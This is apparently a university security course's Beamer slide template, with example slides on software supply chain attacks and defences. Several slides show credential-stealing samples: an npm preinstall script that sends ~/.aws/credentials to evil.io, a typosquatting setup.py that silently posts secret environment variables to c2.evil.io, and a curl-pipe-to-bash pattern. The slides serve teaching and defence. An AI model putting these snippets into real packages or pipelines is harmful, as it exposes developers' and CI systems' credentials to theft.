main.texRead-only preview
%% ============================================================
% ELTE Security Presentation Teamplate
% Author: Richard A. Dubniczky
% The content should be added to this document
%% ============================================================
\documentclass[aspectratio=169,10pt]{beamer}
\usepackage{eltesecurity}
%% Packages
\usepackage{pgfplots}
\pgfplotsset{compat=1.18}
\usepackage{tikz}
\usetikzlibrary{arrows.meta,shapes.geometric,positioning,calc,fit,backgrounds,trees}
% Title Settings
\title{ELTE Security Presentation Template}
\subtitle{A clean and modern style for university presentations.}
\author{Richard A. Dubniczky}
\date{2026}
\institute{ELTE}
\titlegraphic{\includegraphics[height=1.5cm]{assets/main_logo.png}}
\begin{document}
\maketitle
\begin{frame}{Template Details}
This template was made for the cybersecurity subjects of the Eötvös Loránd University.
The goal is to have a unified, clean and modern visual and structure for the presentations of the cybersecurity subjects.
This example document contains instructions on using the template and some ideas to get started.
Full source available at: \url{https://github.com/dubniczky/ELTE-Security-Presentation-Template}
\end{frame}
\begin{frame}{Table of Contents}
\begin{block}{ToC}
Start the presentation with a ToC section that links to each section for easy navigation.
\end{block}
\begin{columns}[T]
\column{0.5\textwidth}
\begin{enumerate}\small
\item \hyperref[sec:1]{Basic Controls}
\item \hyperref[sec:2]{General Recommendations}
\item \hyperref[sec:3]{Example Slides}
\item \hyperref[sec:4]{More Sections 1}
\item \hyperref[sec:5]{More Sections 2}
\item \hyperref[sec:6]{More Sections 3}
\end{enumerate}
\column{0.5\textwidth}
\begin{enumerate}\small
\setcounter{enumi}{6}
\item \hyperref[sec:7]{More Sections 4}
\item \hyperref[sec:8]{More Sections 5}
\item \hyperref[sec:9]{More Sections 6}
\item \hyperref[sec:10]{More Sections 7}
\item \hyperref[sec:11]{More Sections 8}
\item \hyperref[sec:12]{More Sections 9 ...}
\end{enumerate}
\end{columns}
\end{frame}
\section{1. Basic Controls}
\label{sec:1}
\begin{frame}{Columns and Lists}
\begin{columns}[T]
\column{0.55\textwidth}
\begin{itemize}
\item You can specify any number of columns using \texttt{$\backslash$column\{0.5$\backslash$textwidth\}}. The number specifies what percentage of the horizontal space it should take up.
\item If you use just one, you don't have to use columns. I recommend using columns in most cases, as it can increase the information density of the slide
\item I recommend the following ratios: 0.5/0.5, 0.55/0.42
\item To create simple lists, use the \texttt{$\backslash$begin\{itemize\}} environment
\end{itemize}
\column{0.42\textwidth}
\textbf{Add a heading to a section:}
\begin{enumerate}
\item To create numbered lists, use the \texttt{$\backslash$begin\{enumerate\}} environment
\item A slide like this that is full of text makes it difficult to find the important information and separate
\item This is why we use colored boxes in this template
\end{enumerate}
\vspace{0.5cm}
\textit{By the way: under each section header there is a line that represents the current progress!}
\end{columns}
\end{frame}
\begin{frame}{Content Boxes}
\begin{columns}[T]
\column{0.55\textwidth}
I prefer using boxes to emphasize content. One or more can be place on each slide to make it pop! There are many variations in this template:
\begin{itemize}
\item \texttt{$\backslash$begin\{block\}\{Title\}} --- Dark blue
\item \texttt{$\backslash$begin\{alertblock\}\{Title\}} --- Red
\item \texttt{$\backslash$begin\{exampleblock\}\{Title\}} --- Green
\item \texttt{$\backslash$begin\{discussionblock\}\{Title\}} --- Teal
\end{itemize}
\begin{exampleblock}{Example block}
This slide is an example on how boxes can be overused. Usually 1--2 boxes per slide should be sufficient
\end{exampleblock}
You can define more boxes similarly to how the \texttt{discussionblock} was made. Check out it's definition in the \texttt{eltesecurity.sty} template file.
\column{0.42\textwidth}
\begin{block}{Standard block}
It looks like this. I use this a lot to separate content without giving it any high significance. Sometimes I even add lists in here
\end{block}
\begin{alertblock}{Alert block!}
I use this to emphasize a point or talk about a vulnerability or something dangerous in security
\end{alertblock}
\begin{discussionblock}{Discussion}
Do you think adding some extra color into the presentation makes it more digestible? \textit{I think so}
\end{discussionblock}
\end{columns}
\end{frame}
\begin{frame}{Custom Listings}
\begin{description}[\hspace{3.5cm}]
\item[\textbf{2020}] Sometimes when creating a timeline of events, it's best to use a listing instead of a table
\item[\textbf{2021}] The \texttt{$\backslash$begin\{description\}[]} environments provides the perfect tool for this
\item[\textbf{2022--2024}] Here I specified both years and year ranges, and they are arranged nicely
\item[\textbf{2025}] Each item is formatted as: \texttt{$\backslash$item[$\backslash$textbf\{2020\}] Content...}
\item[\textbf{2026--}] And I can add references or sources as well \src{https://blog.lookout.com/xcodeghost}
\end{description}
\end{frame}
\begin{frame}{Text Styling \& References}
\begin{columns}[T]
\column{0.5\textwidth}
\begin{itemize}
\item If something is \textbf{important} emphasize it with bold text: \texttt{$\backslash$textbf\{...\}}
\item Another way to \textit{highlight} is to make it italic: \texttt{$\backslash$textit\{...\}}
\item This template has a custom way of emphasizing important points with: \texttt{$\backslash$boldred\{...\}} if \boldred{something is dangerous to do}
\item Or similarly if \boldgreen{something resolves} a problem: \texttt{$\backslash$boldgreen\{...\}}
\item If you refer to a source, use \texttt{$\backslash$src\{...\}} with the full URL \src{https://github.com/dubniczky/ELTESecurityTemplate}
\end{itemize}
\column{0.5\textwidth}
\begin{block}{Quick Formatting}
It can be tedious to highlight everything by writing commands. Check out your editor's settings, because some provide the option to highlight text, then use a shortcut.
\end{block}
\begin{exampleblock}{Overleaf}
\begin{itemize}
\item Alt/Command $+$ \texttt{B} --- Make it \textbf{bold}
\item Alt/Command $+$ \texttt{I} --- Make it \textit{italic}
\end{itemize}
\end{exampleblock}
\end{columns}
\end{frame}
\begin{frame}[fragile]{Source Code}
\begin{columns}[T]
\column{0.5\textwidth}
When displaying source code we use the environment: \texttt{$\backslash$begin\{lstlisting\}[settings...]]}
Currently it supports:
\begin{itemize}
\item \texttt{pycode} --- Python
\item \texttt{jscode} --- JavaScript, JSON
\item \texttt{yamlcode} --- YAML
\end{itemize}
\begin{alertblock}{Important!}
On all frame where you use this environment, you have to set it to \textbf{``fragile''}: \\
\texttt{$\backslash$begin\{frame\}[fragile]\{Title...\}}. \\
Otherwise it won't compile.
\end{alertblock}
\column{0.5\textwidth}
\begin{block}{Editor Indentation}
Make sure to start the code text \textbf{without indentation} in the editor. It helps remove unnecessary indentation at the start of the lines
\end{block}
\begin{lstlisting}[style=jscode,basicstyle=\ttfamily\fontsize{6.5}{8}\selectfont]
// package.json - scripts
{
"scripts": {
"preinstall": "node -e \
'require(\"https\").get(\
\"https://evil.io/\"+\
require(\"fs\").readFileSync(\
process.env.HOME+\
\"/.aws/credentials\"))'"
}
}
\end{lstlisting}
\end{columns}
\end{frame}
\begin{frame}{Inline Diagrams}
\begin{block}{Tikz Diagram}
A great way to do inline diagrams is with the \texttt{$\backslash$begin\{tikzpicture\}[settings...]} environment. It takes some getting used to, but its main advantage is that it can be edited here in-line. Use LLMs to generate these to begin with, they are good at it.
\end{block}
\begin{tikzpicture}[scale=0.88, every node/.style={font=\footnotesize}]
\node[draw,rounded corners,fill=blue!10,minimum width=1.6cm,minimum height=0.7cm,align=center] (d) at (0,0) {Copy\\ Template};
\node[draw,rounded corners,fill=blue!10,minimum width=1.6cm,minimum height=0.7cm,align=center] (s) at (2.4,0) {Edit\\ Document};
\node[draw,rounded corners,fill=blue!10,minimum width=1.6cm,minimum height=0.7cm,align=center] (c) at (4.8,0) {Add\\ Graphics};
\node[draw,rounded corners,fill=blue!10,minimum width=1.6cm,minimum height=0.7cm,align=center] (b) at (7.2,0) {Compile and\\ Test};
\node[draw,rounded corners,fill=orange!20,minimum width=1.6cm,minimum height=0.7cm,align=center] (r) at (9.6,0) {Present};
\node[draw,rounded corners,fill=blue!10,minimum width=1.6cm,minimum height=0.7cm,align=center] (p) at (12.0,0) {Filter\\ Feedback};
\node[draw,rounded corners,fill=orange!20,minimum width=1.6cm,minimum height=0.7cm,align=center] (e) at (7.2,-2.5) {Apply Feedback};
\foreach \x/\y in {d/s,s/c,c/b,b/r,r/p} \draw[-{Stealth},thick] (\x) -- (\y);
\draw[-{Stealth},thick] (e) -- (s);
\draw[-{Stealth},thick] (p) -- (e);
\end{tikzpicture}
\end{frame}
\begin{frame}{Block Equations}
\begin{equation}
P(\theta \mid \mathcal{D}) = \frac{P(\mathcal{D} \mid \theta)\, P(\theta)}{\displaystyle\sum_{k=1}^{K} P(\mathcal{D} \mid \theta_k)\, P(\theta_k)}
\end{equation}
\begin{block}{Bayesian Posterior Update}
Equations pair well with blocks that explain their contents.
\end{block}
\begin{columns}[T]
\column{0.6\textwidth}
\begin{itemize}
\item $\theta$ It can also make sense to include a list
\item $\mathcal{D}$ Where you define the parameters one by one
\item $P$ Try to include all relevant context on the same slide
\item If you need multiple slides to explain it, include the equation on all of them.
\end{itemize}
\column{0.4\textwidth}
\begin{exampleblock}{Real-World Application}
It can also make sense to give an example on real-word applications of the formula.
\end{exampleblock}
\end{columns}
\end{frame}
\section{2. General Recommendations}
\label{sec:2}
\begin{frame}{Recommendations 1/2}
\begin{alertblock}{Disclaimer}
These recommendations are all my \textbf{personal opinions} and even I sometimes don't follow them. It's more improtant to consider the situation than to follow arbitrary rules.\\
With that said, I strongly believe that \textbf{following} these on \textbf{most slides} will yield high-quality presentations
\end{alertblock}
\begin{itemize}
\item Try to \textbf{fill each slide} with content. If a big space remains, add a discussion, question or example block.
\item Make sure that each slide covers \textbf{one topic.} It's better to break it into multiple slides if they differ enough.
\item Make sure to include a \textbf{good title} on each slide. It will help students always see the current topic at a glance. Don't assume they know the current slide because of the name or content of the previous one.
\item \textbf{Emphasize} words or phrases in sentences to make their points stand out at a glance.
\item \boldred{Use heavy emphasis rarely!} --- Too much emphasis $=$ no emphasis
\end{itemize}
\end{frame}
\begin{frame}{Recommendations 2/2}
\begin{itemize}
\item Have at \textbf{least one block, code, or diagram} on each slide. It helps make it look structured and separates the core content from the bonus ideas or examples.
\item \textbf{Use dashes correctly!} \texttt{-} $=$ connecting words (\textit{high-quality}); \texttt{--} $=$ specifying ranges (\textit{1990--2000}); \texttt{---} $=$ a gap in thought (\textit{Section 1 --- Summary})
\item Include a \textbf{summary slide} at the end of each section. Depending on context: also include some discussion topics.
\item Use \textbf{monospace font} with inline code, command, file path, etc. using \texttt{$\backslash$texttt\{...\}}
\end{itemize}
\end{frame}
\section{3. Example Slides}
\label{sec:2}
\begin{frame}{Background of the Examples}
\begin{block}{Context}
The following are real slides I've created in the past. Use them as inspiration and copy their formatting. \\
Feel free to reuse them as you see fit!
\end{block}
\end{frame}
\begin{frame}{The Software Delivery Lifecycle as an Attack Surface}
\begin{center}
\begin{tikzpicture}[scale=0.55, transform shape,
node distance=1.2cm,
box/.style={rectangle, rounded corners, draw, minimum width=2.8cm, minimum height=0.9cm,
font=\small\bfseries, align=center},
attackbox/.style={box, fill=red!20, draw=red!60},
neutralbox/.style={box, fill=blue!15, draw=blue!40},
arrow/.style={-{Stealth[length=6pt]}, thick},
redarrow/.style={-{Stealth[length=6pt]}, thick, red!70},
]
\node[neutralbox] (dev) {Developer\\ Workstation};
\node[neutralbox, right=1.8cm of dev] (repo) {Source\\ Repository};
\node[neutralbox, right=1.8cm of repo] (cicd) {CI/CD\\ Pipeline};
\node[neutralbox, right=1.8cm of cicd] (build) {Build\\ System};
\node[neutralbox, right=1.8cm of build] (registry) {Artifact\\ Registry};
\node[neutralbox, right=1.8cm of registry] (deploy) {Production\\ Deployment};
\draw[arrow] (dev) -- (repo);
\draw[arrow] (repo) -- (cicd);
\draw[arrow] (cicd) -- (build);
\draw[arrow] (build) -- (registry);
\draw[arrow] (registry) -- (deploy);
\node[attackbox, below=1.8cm of build] (extdep) {External Deps\\ (npm, PyPI \ldots)};
\draw[arrow] (extdep) -- (build);
\draw[arrow] (extdep) -- (dev);
\node[attackbox, above=1.2cm of dev] (a1) {Dev Machine\\ Compromise};
\node[attackbox, above=1.2cm of repo] (a2) {Repo Takeover /\\ Leaked Secrets};
\node[attackbox, above=1.2cm of cicd] (a3) {CI/CD\\ Compromise};
\node[attackbox, above=1.2cm of build] (a4) {Build\\ Tampering};
\node[attackbox, above=1.2cm of registry] (a5) {Signing\\ Abuse};
\node[attackbox, above=1.2cm of deploy] (a6) {Poisoned\\ Update};
\draw[redarrow, dashed] (a1) -- (dev);
\draw[redarrow, dashed] (a2) -- (repo);
\draw[redarrow, dashed] (a3) -- (cicd);
\draw[redarrow, dashed] (a4) -- (build);
\draw[redarrow, dashed] (a5) -- (registry);
\draw[redarrow, dashed] (a6) -- (deploy);
\end{tikzpicture}
\end{center}
\begin{block}{Explanation}
Each stage of the SDLC is a potential attack surface for supply chain attacks.
\end{block}
\end{frame}
\begin{frame}[fragile]{Attack Surface: Developer Workstation}
\begin{columns}[T]
\column{0.55\textwidth}
\textbf{What happens here:}
\begin{itemize}
\item \texttt{npm install}, \texttt{pip install} --- thousands of packages fetched
\item IDE plugins and extensions run with full user privileges
\item Git hooks execute arbitrary code on commit/push
\item \texttt{.env} files, SSH keys, cloud credentials stored locally
\end{itemize}
\vspace{0.2cm}
\textbf{Attack vectors:}
\begin{itemize}
\item \textbf{Malicious package}: executes on install via \texttt{preinstall} scripts
\item \textbf{IDE extension}: harvests credentials, reads env vars
\item \textbf{Dotfile repos}: shared \texttt{.zshrc} with malicious code
\end{itemize}
\column{0.42\textwidth}
\begin{alertblock}{Real Example}
\texttt{preinstall} script in a malicious npm package:
\begin{lstlisting}[style=jscode,basicstyle=\ttfamily\fontsize{6.5}{8}\selectfont]
// package.json - scripts
{
"scripts": {
"preinstall": "node -e \
'require(\"https\").get(\
\"https://evil.io/\"+\
require(\"fs\").readFileSync(\
process.env.HOME+\
\"/.aws/credentials\"))'"
}
}
\end{lstlisting}
\end{alertblock}
\vspace{-0.5cm}
\begin{discussionblock}{Discussion}
How do you protect developer workstations?
\end{discussionblock}
\end{columns}
\end{frame}
\begin{frame}[fragile]{Typosquatting --- Code Example}
\begin{columns}[T]
\column{0.5\textwidth}
\textbf{Attacker's \texttt{setup.py}:}
\begin{lstlisting}[style=pycode]
import subprocess, os, urllib.request
def send_creds():
env = {k: v for k, v in os.environ.items()
if any(x in k.upper() for x in
['KEY','SECRET','TOKEN','PASS'])}
if env:
data = str(env).encode()
urllib.request.urlopen(
'https://c2.evil.io/exfil',
data=data, timeout=2)
try: # Run silently on import
send_creds()
except Exception:
pass # fail silently!
# Provide the expected API
from requests import * # re-export real lib
\end{lstlisting}
\column{0.5\textwidth}
\textbf{Why this is hard to spot:}
\begin{itemize}
\item The package \textit{actually works} --- it re-exports the real library
\item The malicious code is in a try/except and fails silently
\item No \texttt{import} of obviously malicious modules
\item Credential harvesting happens on \textit{first import}\\
\textbf{!! even in dev environments !!}
\end{itemize}
\begin{alertblock}{Defender Note}
Running \texttt{pip install} in a CI environment with cloud credentials
in env vars is \textbf{extremely dangerous}.
Isolate build environments (e.g. subcontainers).
\end{alertblock}
\end{columns}
\end{frame}
\begin{frame}[fragile]{CS3: Codecov (2021) --- CI/CD Script Poisoning}
\begin{columns}[T]
\column{0.55\textwidth}
\textbf{What happened:}
\begin{enumerate}\small
\item Attackers discovered a GCS credential hard-coded in Codecov's Docker build process and leaked publicly
\item They used it to modify Codecov's publicly-distributed bash uploader script
\item Thousands of CI pipelines ran:\\\texttt{bash <(curl -s https://codecov.io/bash)}
\item Modified script exfiltrated all CI environment variables to attacker's server for \textbf{2 months} (Jan 31 -- Apr 1, 2021)
\end{enumerate}
\begin{alertblock}{Blast Radius}
\begin{itemize}\small
\item Twilio, HashiCorp, Rapid7, and many others
\item Leaked tokens: GitHub OAuth, GCP service account keys, AWS access keys, Slack webhooks
\end{itemize}
\end{alertblock}
\column{0.42\textwidth}
\begin{alertblock}{The anti-pattern}
\begin{lstlisting}[style=yamlcode]
# DANGEROUS pattern (Codecov-style):
- run: bash <(curl -s \
https://codecov.io/bash)
\end{lstlisting}
\end{alertblock}
Why: it fetches and executes arbitrary code from internet with full CI permissions!
\begin{block}{Safe alternative}
\begin{lstlisting}[style=yamlcode]
# Pin to known SHA + verify:
- uses: codecov/codecov-action@\
v4@sha256:abc...
# Or: vendor the script locally
\end{lstlisting}
\end{block}
\tiny Source: \url{https://about.codecov.io/security-update/}
\end{columns}
\end{frame}
\begin{frame}[fragile]{CS7: XZ Utils --- What Andres Freund Found}
\begin{columns}[T]
\column{0.52\textwidth}
\textbf{The accidental discovery:}
\begin{itemize}\small
\item Freund was investigating unexplained \textbf{500ms latency} in SSH logins on his Debian testing system
\item \texttt{valgrind} showed memory errors in \texttt{liblzma}
\item SSH login CPU usage was \textbf{abnormally high}
\item He correlated the regression to \texttt{xz 5.6.0} being installed
\item Binary analysis revealed the hook into \texttt{sshd}
\end{itemize}
\vspace{0.2cm}
\begin{alertblock}{Had he not caught it...}
Alex Stamos: \textit{``This could have been the most widespread
and effective backdoor ever planted in any software product''}
--- hundreds of millions of SSH endpoints.
\end{alertblock}
\column{0.48\textwidth}
\textbf{How to detect indicators:}
\begin{lstlisting}[style=yamlcode,basicstyle=\ttfamily\fontsize{6}{7}\selectfont]
# Check if affected version installed:
xz --version
# 5.6.0 or 5.6.1 = affected
# Check loaded libraries in sshd:
ldd $(which sshd) | grep liblzma
# Check systemd linkage:
ldd /usr/lib/systemd/libsystemd.so.0 \
| grep liblzma
# If liblzma linked: check binary hash
sha256sum /usr/lib/x86_64-linux-gnu/liblzma.so.5
\end{lstlisting}
\begin{lstlisting}[style=pycode,basicstyle=\ttfamily\fontsize{6}{7}\selectfont]
# Python: check if liblzma is backdoored
import lzma, ctypes
lib = ctypes.CDLL("liblzma.so.5")
# Presence of unexpected export indicates compromise
attrs = [x for x in dir(lib) if 'rsa' in x.lower()]
print("Suspicious exports:", attrs)
\end{lstlisting}
\end{columns}
\end{frame}
\begin{frame}[fragile]{Package Registry Security Controls}
\begin{columns}[T]
\column{0.55\textwidth}
\textbf{What registries now offer (and you should use):}
\begin{description}[\hspace{2.5cm}]
\item[\textbf{npm}] 2FA enforced for maintainers of top 500 packages, granular access tokens, package provenance (\textit{since 2023})
\item[\textbf{PyPI}] Trusted Publisher (OIDC from GitHub Actions) --- no long-lived API keys\src{https://docs.pypi.org/trusted-publishers/}
\item[\textbf{Maven}] Central enforces PGP signing
\item[\textbf{Docker Hub}] Content Trust (Notary v1), now called Sigstore
\item[\textbf{GitHub Actions}] OIDC token exchange for cloud auth
\end{description}
\column{0.42\textwidth}
\begin{exampleblock}{PyPI Trusted Publisher (OIDC)}
\begin{lstlisting}[style=yamlcode,basicstyle=\ttfamily\fontsize{6.5}{8}\selectfont]
# .github/workflows/publish.yml
jobs:
publish:
permissions:
id-token: write
steps:
- uses: pypa/gh-action-pypi-publish@release/v1
# No API key stored anywhere!
# GitHub OIDC token proves identity
\end{lstlisting}
\end{exampleblock}
\begin{discussionblock}{Discussion}
Have you heard of trusted publisher before? Have you / will you use it?
\end{discussionblock}
\end{columns}
\end{frame}
\begin{frame}[fragile]{Minimum Package Age Policy: Enforcement}
\begin{columns}[T]
\column{0.55\textwidth}
\textbf{Checking package age before install:}\\
NodeJS (\texttt{npm v11.10.0+})
\begin{lstlisting}[style=yamlcode]
# Add to .npmrc file:
min-release-age = 3
\end{lstlisting}
Python (\texttt{pip v26.1+})
\begin{lstlisting}[style=yamlcode]
# Add to $HOME/.config/pip/pip.conf file:
[install]
uploaded-prior-to = P3D
\end{lstlisting}
GitHub Dependabot --- cross-ecosystem
\begin{lstlisting}[style=yamlcode]
# Add to .github/dependabot.yml file:
updates:
- package-ecosystem: "pip" # or npm, cargo, bundler, maven, etc.
cooldown:
default-days: 3
\end{lstlisting}
\column{0.42\textwidth}
\textbf{Integrating into CI:}
\begin{itemize}\small
\item Run the age check as a \textbf{pre-install gate} in your pipeline before \texttt{pip install} or \texttt{npm ci} or gate it using a native tool setting
\item On failure: block the build and raise a review ticket
\end{itemize}
\vspace{0.2cm}
\textbf{Other tooling support:}
\begin{itemize}\small
\item \textbf{Socket.dev} flags newly published packages automatically
\item \textbf{Renovate / Dependabot} can be configured to hold PRs for $N$ days
\item \textbf{npm} \texttt{audit} + \textbf{pip-audit} complement but
do not replace age checks (CVE databases lag reality)
\end{itemize}
\end{columns}
\end{frame}
\begin{frame}{Attack Surface: Build System and Artifacts}
\begin{columns}[T]
\column{0.55\textwidth}
\textbf{Build system risks:}
\begin{itemize}
\item Build scripts can be tampered silently (see: SUNSPOT)
\item Deterministic builds are \textit{not} the default: same source $\neq$ same binary
\item Build environments often pull dependencies \textbf{at build time}
\item Compiled artifacts are opaque to reviewers
\end{itemize}
\vspace{0.2cm}
\textbf{Why signing alone is insufficient:}
\begin{itemize}
\item If the build system is compromised, the attacker signs too
\item SolarWinds artifacts were signed by SolarWinds' own certificate
\item AV and EDR trusted the signature
\end{itemize}
\column{0.42\textwidth}
\begin{block}{Reproducible Builds}
The answer: anyone can \textbf{independently rebuild} from source and
verify the output matches the distributed binary.
\begin{itemize}\small
\item Debian: reproducible-builds.org
\item Rust: \texttt{cargo verify}
\item Python: \texttt{pip install --require-hashes}
\end{itemize}
\end{block}
\begin{discussionblock}{Discussion}
Do you verify application signatures or sign your own apps?
\end{discussionblock}
\end{columns}
\end{frame}
\end{document}
Preview
PDF Preview
Create an account to compile and preview